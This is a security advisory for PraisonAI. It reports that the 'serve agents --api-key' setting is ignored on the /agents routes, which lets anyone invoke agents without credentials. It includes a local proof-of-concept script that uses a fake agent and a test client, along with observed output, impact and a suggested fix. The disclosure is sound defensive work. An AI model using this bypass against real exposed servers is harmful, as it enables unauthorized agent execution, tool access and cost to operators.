GHSA-7ww9-85pg-cv4xHighCVSS 8.6

PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

Published
August 25, 2026
Last Modified
August 25, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable:

  • v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
  • v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: >= 4.6.34, <= 4.6.48.

This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.

Details

The CLI accepts and forwards an API key:

  • src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents
  • src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key
  • src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key
  • src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand
  • src/praisonai/praisonai/cli/features/serve.py:199 parses api_key into the config

However, _create_agents_app() never uses config["api_key"] to create middleware or a FastAPI auth dependency:

  • src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app
  • src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agent_name} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly

The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.

PoC

This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler._create_agents_app() path with api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.

#!/usr/bin/env python3
from __future__ import annotations

import sys
import tempfile
from pathlib import Path

REPO = Path("/path/to/PraisonAI")
sys.path[:0] = [
    str(REPO / "src" / "praisonai"),
    str(REPO / "src" / "praisonai-agents"),
]

class FakeAgent:
    def __init__(self):
        self.calls = []

    def start(self, query):
        self.calls.append(query)
        return f"fake-agent-ran:{query}"

def main() -> None:
    from fastapi.testclient import TestClient
    from praisonai.cli.features.serve import ServeHandler
    from praisonai.api import agent_invoke

    with tempfile.TemporaryDirectory() as tmp:
        agents_yaml = Path(tmp) / "agents.yaml"
        agents_yaml.write_text(
            "roles:\n"
            "  placeholder:\n"
            "    role: Placeholder\n"
            "    goal: Placeholder\n"
            "    backstory: Placeholder\n",
            encoding="utf-8",
        )

        handler = ServeHandler()
        app = handler._create_agents_app(
            {
                "file": str(agents_yaml),
                "host": "0.0.0.0",
                "port": 8000,
                "path": "/agents",
                "reload": False,
                "api_key": "operator-secret-api-key",
            }
        )

        fake_agent = FakeAgent()
        agent_invoke.register_agent("poc", fake_agent)

        client = TestClient(app)
        response = client.post(
            "/agents/poc",
            json={"query": "unauthenticated request"},
        )

        print(f"STATUS_CODE={response.status_code}")
        print(f"RESPONSE_JSON={response.json()!r}")
        print(f"AGENT_CALLS={fake_agent.calls!r}")
        print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
        request']}")

if __name__ == "__main__":
    main()

Run:

cd /path/to/PraisonAI
python3 praisonai-serve-agents-api-key-bypass.py

Observed output:

STATUS_CODE=200
RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
AGENT_CALLS=['unauthenticated request']
UNAUTHENTICATED_AGENT_EXECUTED=True

The important condition is that the app was configured with:

"api_key": "operator-secret-api-key"

but the request was sent without any auth header:

client.post("/agents/poc", json={"query": "unauthenticated request"})

The agent still executed and returned HTTP 200.

### Impact

Any attacker who can reach a praisonai serve agents server can invoke configured agents even
when the operator explicitly configured --api-key.

Impact depends on the configured agents and their tools, but can include:

- unauthorized LLM/API usage and provider cost consumption;
- execution of agent workflows;
- access to connected tool integrations;
- reads/writes through file, database, cloud, browser, MCP, or messaging tools;
- availability impact from repeated or long-running agent invocations.

This is especially risky because the documented production pattern recommends using --api-
key when binding the server publicly.

### Suggested fix

Fail closed when --api-key is configured and require it on every agent invocation route in
the serve agents app.

Recommended changes:

- In _create_agents_app(), derive an auth dependency from config.get("api_key").
- Apply it to both POST {path} and POST /agents/{agent_name}.
- Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for
  compatibility.

- Use constant-time comparison for the expected key.
- Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
- Add tests proving:
    - key configured + no header returns 401/403;
    - key configured + wrong header returns 401/403;
    - key configured + correct header executes;
    - both /agents and /agents/{agent_name} are covered.

🎯 Affected products1

  • pip/PraisonAI:>= 4.6.34, < 4.6.58

🔗 References (4)